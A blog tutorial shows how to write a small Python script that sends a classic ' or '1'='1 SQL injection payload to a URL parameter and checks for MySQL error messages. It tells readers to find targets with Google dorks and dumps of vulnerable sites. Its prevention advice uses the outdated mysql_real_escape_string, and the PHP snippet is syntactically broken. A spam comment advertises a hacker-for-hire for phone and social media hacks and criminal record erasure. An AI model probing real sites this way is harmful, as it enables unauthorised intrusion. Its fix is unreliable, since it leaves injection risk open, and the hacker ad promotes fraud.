How to code your first sql injection vulnerability with python

How to code your first sql injection vulnerability with python

In this article we are going check if the website is vulnerable to the sql injection using a python script.
It will work if and only if the variables are using the get method.
We are currently using the python programming language
We need an internet connection and a vulnerable website.
You can easily find a website for testing using simple SQLi dorks, like inurl:”index.php?cat_id=”. You can find vulnerable site dumps over the web.

Step by step Code your first simple SQLi checking vulnerability with Python:

Before starting coding, make a new .py file.
Importing main libraries
This time we will use sys, urllib and urllib.request modules, so import those 3 by using import  sys, urllib, urllib.requestor import sys, import urllib and import urllib.request in the new line
python-simple-sqli1
Explanation: ‘import’ is used for importing libraries, such as urllib or os, system.
Selecting the input type
Now we need to select the input type, the first one is pretty simple, the other one is harder. This time we will use the first one, but it does not affect other lines of code.
1) Use input(“”) commands to get user input. This time it will be:
fullurl = input(“Please specify the full vulnerable url:  “)
python-simple-sqli2
Explanation: ‘variable = input(“Input: “)’ sets the var ‘variable’ to user input, ‘Input: ‘ is the text seen by the user at the input line.
2) Use arguments for specifying the data:
for carg in sys.argv:
if carg == “-w”:
argnum = sys.argv.index(carg)
argnum += 1
fullurl = sys.argv[argnum]
python-simple-sqli3
Explanation: ‘if’ is a well known macro stament. Right now, we are using it to determine curent arg, the other lines – indicates the second argument, ‘in’ – checks if there is a specified text in a string.
Coding the program to make an web request
This is the most important part.
resp = urllib.request.urlopen(fullurl + “=1\’ or \’1\’ = \’1\””)
body = resp.read()
fullbody = body.decode(‘utf-8’)
python-simple-sqli4
Explanation: the resp variable is set to the request response, body – to the response text, fullbody – to the decoded request text, ‘+’ is the addition variable on Python, \ is the escape character.
Making the program to check if the target is vulnerable
Now, once we have the response, we have to check if it contains SQL errors.
We will use this code for that:
if “You have an error in your SQL syntax” in fullbody:
print (“The website is classic SQL injection vulnerable!”)
else:
print (“The website is not classic SQL injection vulnerable!”)
python-simple-sqli5
Explanation: We use ‘if’ macro for checking if there’s the specified text in the response.
Scanner with first type of getting user input
python-simple-sqli6
with second type
python-simple-sqli7
So yeah, that’s it!
Save the file, open cmd and run ‘python filename.py’ and input the requested info, if you were using the second method, use ‘python filenamy.py -w website’. It will check if the site’s vulnerable 🙂
The copied code may not work, please rewrite it to your file 🙂
If you had errors in syntax
Unexpected indendity shows up when there are problems with tabs.
Problems with syntax are mostly showing up on problems with macros. If this error occured, please check your macros validity.

How to prevent simple SQL injection

Preventing SQLi ON MYSQL if very simple. Just use mysql_real_escape string for queries, as example:
$query = sprintf(“SELECT * FROM users where user=’%s’ AND password=’%s’,
                        mysql_real_escape_string($username)
                        mysql_real_escape_string($password)
Take your time to comment on this article.

Comments

  1. This professional hacker is absolutely reliable and I strongly recommend him for any type of hack you require. I know this because I have hired him severally for various hacks and he has never disappointed me nor any of my friends who have hired him too, he can help you with any of the following hacks:

    -Phone hacks (remotely)
    -Credit repair
    -Bitcoin recovery (any cryptocurrency)
    -Make money from home (USA only)
    -Social media hacks
    -Website hacks
    -Erase criminal records (USA & Canada only)
    -Grade change

    Email: cybergoldenhacker at gmail dot com


    ReplyDelete

Post a Comment